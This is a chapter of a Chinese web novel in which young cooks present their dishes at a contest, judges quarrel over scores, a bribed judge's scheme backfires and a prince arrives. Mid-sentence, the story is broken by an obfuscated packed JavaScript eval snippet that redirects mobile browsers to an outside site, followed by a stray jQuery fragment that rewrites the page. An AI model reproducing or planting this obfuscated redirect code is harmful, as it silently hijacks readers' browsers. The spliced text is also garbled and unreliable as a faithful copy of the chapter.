变着角度多看了几圈，苏有青确实没找到能锦上添花的部分，便叉着腰站直了身。
她刚想看看还需等多久出菜，门口便来了品鉴官宣读新的要求：
“新厨小试时候已到，还请各位比试者停手并在灶台前站定，等候下一步指令。”
品鉴官说话的功夫里，有一队仆人进了膳房，问过比试者们的姓名，又端着她们跟前的菜品鱼贯而出。
苏有青的灶台离门口不远，面前的炙颈肉先一步被端走。她轻松地四处探头，好奇看向旁人做出的各色美味。
无意瞥见表哥时，却见他拿块布弓着身，急匆匆地擦拭手中瓷盘，直到仆人直接从他手中接过了那一盘肉块。
表哥跟着仆人拿走的瓷盘一同起身时，瞧见苏有青探究的表情，一脸不满地瞪了过来。
见菜品均已端离灶台，品鉴官继续说话：
“接下来是约莫半个时辰的评审时间，比试者们可在膳房中小憩，或准备后续的菜品介绍环节。祝大家取得好的名次。”
品鉴官前脚离了膳房，膳房里下一秒便到处响起悉索声。四面聊得都欢，苏有青想去找苏诣结伴，没料表哥却先一步拦住了苏有青。
不知是不是觉得瞪眼的威慑力不够，表哥又跑来补充：“听到了吧？不出半个时辰，你就得给我奉茶了。好好想想待会儿要同我说的话吧。”
苏有青觉得好笑：“比试超时的人也配放狠话？”
表哥也嗤笑：“你还一直坐在灶锅口玩呢，也好意思说我？别以为能瞒过我的眼睛，好歹我也做够了三个时辰的菜。”
刚好苏诣在另一边喊苏有青，苏有青撇撇嘴，一句话都没落下就跑了。
她跟这人没话说。什么菜能做够三个时辰啊，不仅废物还沾沾自喜上了。苏有青唯恐再和表哥多说一句都会拉低自己的实力。
走到苏诣身边时，苏诣正和颜惜禾聊得一阵后仰。
见苏有青来了，苏诣拉住她的胳膊，同颜惜禾介绍道：“这便是我妹妹，苏有青。有青，这是颜将军家的女儿，颜惜禾。”
“你好哇。”颜惜禾嗓门不小，一说话又一咧嘴，露出了一口白牙。
苏有青有些喜欢这种飒爽性子，便揣度着书中的寥寥几语道：“原来是颜大将军家的姐姐。早闻颜将军骁勇善战，家中子辈也是各有所长。”
尤其是长女颜惜禾。苏有青前两日还听包菜提起，说有庄子开设了新厨小试的头筹对赌，押颜惜禾与押苏诣的人数是对半开。
“那你投我了吗？”苏有青当即就问。
包菜一阵吞吐：“我.......我投的大小姐。”
怕苏有青不悦，包菜急忙补充道：“不是我不愿投小姐，实在那庄子压根没开小姐的盘。”
苏有青本只是想逗逗包菜，没真想让她押自己。然而此话一出，苏有青反而哭笑不得。
颜惜禾很爱听旁人夸颜将军。她大手一挥道：“待我娘下次归家，你们姐妹俩一同来府里玩！”
几句招呼过后，苏诣看向苏有青：“今天做得怎么样？”
苏有青有话说话：“我觉得挺好。”
苏诣佯装不满：“也不知道谦虚点。”
颜惜禾倒不认同，笑说道：“妹妹这叫自信，多好哇，我就喜欢这种性格。我也觉得我做得还行。”
话毕，她还朝苏有青眨了眨眼。
苏有青也跟着二位姐姐笑，不知这位有望拔得头筹的颜姐姐今日做了什么菜。
膳房外，仆从已将比试者们的作品端至长桌前。经过口味与摆盘的几轮筛选，品鉴官们已从后往前地定下了不少菜品的名次。
撤走已有结果的盘子，长桌上剩下十余份菜品各有自己的特色，还需多讨论几句、再以诸位品鉴官的打分来定先后。
“我觉得这道溜鱼丸不错。”王御厨说，“鱼肉毫无腥土气，刺也处理得干净。这都是费时的细致活，还能在比试中做出如此味道，想来是技艺极高的新厨。再论摆盘，白瓷汤碗中盛着黄澄澄的鸡汤，中间是白色鱼丸，鱼丸上又撒着蛋皮丝，色彩之间也是相得益彰。”
年岁稍长些的张御厨却说：“鱼丸还是有些小家子气，比试中做这八宝鸭方为上乘。要论细致，给整鸭脱骨可难多了。虽说这鸭腹处有断裂样，但这位新厨还是很好地圆上了这一处的。”
王御厨却似说起了旁的话题：“新厨小试可不是只看难度，认识到自己能力的边界也很重要。”
张御厨笑道：“那么，年轻人敢于挑战也很重要。”
长桌的另一边，有两位厨子在讨论旁的菜品。
其中一人再次夹起一块炙颈肉，蘸着料碟吃下，边嚼边感受味道：
“这炙肉倒是新奇。少见将好端端的五花单独片出精肉来煎炙，这般调味也甚少吃到。不错不错，就是审美上略逊一筹，摆盘有些贪多嚼不烂。本就装饰过的摆盘还要再添上苏子叶，反作累赘。”
另一人也见缝插针地开了口：“要说苏子，还是这苏子鸡更佳。虽说有些中规中矩，但味道也本分不出错。不似有的菜品，看着花样不少，实则是投机取巧来的容易菜，轻易煎熟便糊弄了去。”
“要我说，还是这炙肉好。”又有声音插进来，是京城里福鲜酒楼的厨司。他据理力争道：“这苏子鸡草草装盘，毫无新意，本不像比试之作。再者，随便哪户人家都会做苏子鸡，又何必在新厨小试中品尝？”
诸位评审各执一词，交过这些菜品的分数表后仍在尝试说动旁人。
这头的品鉴官们尚坐着，另一边的仆人们却纷纷动了起来。有人拿到分数条打起了算盘，算着最后的评分；也有人去膳房内喊新厨们去院中，候着介绍自己的作品。
已有品鉴官见乏，想快些走完最后的流程，结束今日的比试。
然而比试者们方站定，便来了人打岔。
来人高声通报：
“二皇子到——”
皇子侍从尾音未落，品鉴官们便匆匆起身行礼。
苏有青低着头，悄悄抬起眼皮瞄向前方。
想来人群中那身着浅金紫色衣袍的女人，便是二皇子赵鸣炫。
苏有青差点忘了，苏诣与二皇子的初见便是在新厨小试。
果然，女人朗声道：“免礼吧。本皇子此番奉母皇之名，为本次新厨小试的夺魁者添个彩头。不知本皇子来的可是时候？”
“正是时候呢。今日比试的结果已出，只是还需听一听新厨们的心得。还请二皇子与三皇子上座。”苏火阳道。
苏火阳引着两位皇子入座，苏有青这才抬头，发现二皇子身后还跟着个四处张望的赵往。
见赵往似要往这边看来，苏有青赶忙低头。
她倒不记得赵往也来了新厨小试的赛场，回想半天也只记起这场比试后不久，赵鸣炫便靠苏诣封了个王。
赵鸣炫与赵往落了座，这边新厨们的介绍才得以继续。
面对比试者们，苏火阳细细解释道：“本该在打分前便听听诸位对菜品的介绍，只是比试者达三十多位，逐个论述后恐怕菜凉也影响口感，只好先打分。不过如此一来，品鉴官不知每道菜对应的比试者，便也更为公正。现下比分已定，各位参试者再轻松聊聊便好。”
既已不影响结果，众人确实多了一分轻松，逐个讲明白自己的思路便算了事。
然而，有品鉴官却不太轻松。
见表哥站到苏子鸡前，那福鲜酒楼的厨司的脸上好一阵红白色。
方才他见着苏子叶，以为炙颈肉才是表哥做的菜，为此一直在贬低那苏子鸡。
新厨小试的品鉴官并非只需比试时出席，还得按各人所长来分工。
福鲜酒楼在京城颇有名气，其中以他拿手的红烧肉最为知名。厨司本就得意被选作了今年的品鉴官，后来因着这手红烧肉的手艺，新厨小试中的猪肉备菜便也被交给了他，说他当是更擅长挑选猪肉。
厨司更得瑟了，兴冲冲地和人碰杯，说待今春的比试结束后，他恐怕会被京城更多的酒楼哄抢。
然而人一得意就容易忘形。酒虫占据了头脑，厨司便一时忘了领头同他叮嘱过的“多加一份三层五花，要标志些的”。临到头来，厨司终于记起这么一回事，脑子一慌便随便加了份三层的猪颈肉凑数。
但也未必是真慌乱。到了赛场后，他听旁的品鉴官说起多了一位比试者，便又精明起来，想着不论是谁拿到这份肉，他都能将罪责推到新加入的比试者头上。
他也没忘干净所有的小试事项。至少他记得有人顺着品鉴官人选的风声来寻自己，塞了一包鼓鼓囊囊的硬疙瘩要同他作约定。来人只是与厨司约下挑配菜的暗号，而他不仅应着暗号拿出了苏子叶，还颇有义气地帮那道有苏子叶的菜拉分。
现下看来，仿佛是有什么乌龙。不过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278933|198329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厨司心态很好，及时撇了头当鹌鹑。
见到了做苏子鸡的人，张御厨先是夸赞：“其实这菜口味挺好的，没什么大问题。”
然而她语速很快，没留给表哥高兴的时机：“就是人不够沉稳，有些心急。”
“怎......怎得做个菜便不够沉稳了。”表哥有些不服。
张御厨饶有兴趣地问道：“那么，你因何选择做苏子鸡呢？”
说话间，张御厨还贴心地给那青花色瓷盘转了个向，将盘口的浅黄色痕迹转到了他的视线里。
表哥满脸通红，好不容易才憋出了几句话：“就是苏御厨素日爱教家常菜，我也拿手家常菜，见到鸡肉想到这菜，便就做了。至于装盘，有汤汁飞溅也是难免，何况，何况新厨间比的是口味而非表象。”
张御厨听得满脸笑意。她点点头：“你说得对。好了，下一位吧。”
苏有青默默低头看鞋尖，生怕发出不合时宜的声响。
下一位是苏诣。不等品鉴官们发问，她便有条不紊地说起了自己的做法与思路。
“......我先见配菜桌上有糯米与马莲草，便想到了填以糯米再捆作葫芦样的八宝鸭。然而学子技艺不精，今日处理鸭骨时不慎划破了鸭皮，后来在捆形时将缺口覆到马莲草下，也做成了此菜。八宝鸭有福禄之意，今日便趁小试，将这份福禄呈予诸位品鉴官与今日一同做菜的朋友们。”
张御厨又听得连连点头，这次却没再打断。
再往后的颜惜禾也是不卑不亢地介绍起汆鱼丸。
“一开始选草鱼时，我打算做酥鱼。然而我在找配料时见着了鸡骨架，又觉得溜鱼丸配鸡汤也不错。刚好诸位小友都各有手艺，想来浓油赤酱的口味也多，我便干脆另辟蹊径来个清淡的汤菜，也好给品鉴官们换换口味。”
苏火阳相当喜欢这碗鸡汤鱼丸，笑说道：“你这鱼丸我可是吃了两碗。”
“下一位，苏有青。”拿着名册的仆人喊道。
往前迈出一步时，苏有青尚未想好该从何说起。按她的想法，颈肉便只适合炙烤，也没什么可多想的。
好在她并不需要自己想出一个开头。
苏有青方站出来，王御厨便发了问：“这盘炙肉是你的作品？可我并未在其中见到你摘走的荷叶。”
苏有青微笑间便理好了思绪：
“我用荷叶裹住腌制过的肉块，再在外面附一层泥，用灶台的余火慢慢炙熟，这样炙出的颈肉既保留了原本的脆弹口感，也更多汁。再佐以不同的调味与蘸料，用苏子叶包着炙肉同食，可以吃到各种不同的味道。”
仿佛听到什么关键词，苏火阳皱了皱眉。
王御厨也意识到了问题，与苏火阳对视一眼，并未多言。
一旁的福鲜厨司倒是恍然大悟：“原来苏子叶并非装饰？但我也未听闻过苏子叶生食的吃法。”
苏有青笑笑：“品鉴官可以包上肉片尝试一下。”
再轮过其她几位比试者，今日小试便只剩最后的报分了。算分的仆从早在一旁候着，这边方话毕，她便递了条子过来。
方御厨接过条子，看过内容后又看向比试者们道：“新厨小试旨在‘新厨’，而非‘小试’，每一位参与其中的新厨都很优秀。在小试层面，我们品鉴官一致认为，除去第一至第十二名的新厨，其余新厨皆为第十三名。”
方御厨平日性子便活泼，报分也随性。她从第十二名倒着开始报位次，点到第七名后又突然报出第四位的姓名。都是苏有青不认识的名字。
听到第四位不是自己时，表哥本有些遗憾。
然而发现第五位也不是他时，表哥又突然明白了。他可是前三的水准，四五位自然会是旁人。想到这里，表哥便挺直了胸膛。
果然，下一秒，他便听到了自己的名字。
方御厨抬头看到他的动作，轻笑着报出了名次：“第六。”
表哥有些意外，却不至于挂脸。细细一想，或许有的品鉴官就是偏好高难度菜品，尽管旁人做出的味道并不好吃。索性第六名也是比苏有青强的，至少他还不至于落个只剩好听的“十三名”的名头。
苏火阳真心称赞：“不错啊，今天超常发挥了。继续保持。”
听罢这话，表哥脸僵了。
“接下来还剩三个名次哦。”方御厨卖着关子，“那么，今日新厨小试的第一等便是——”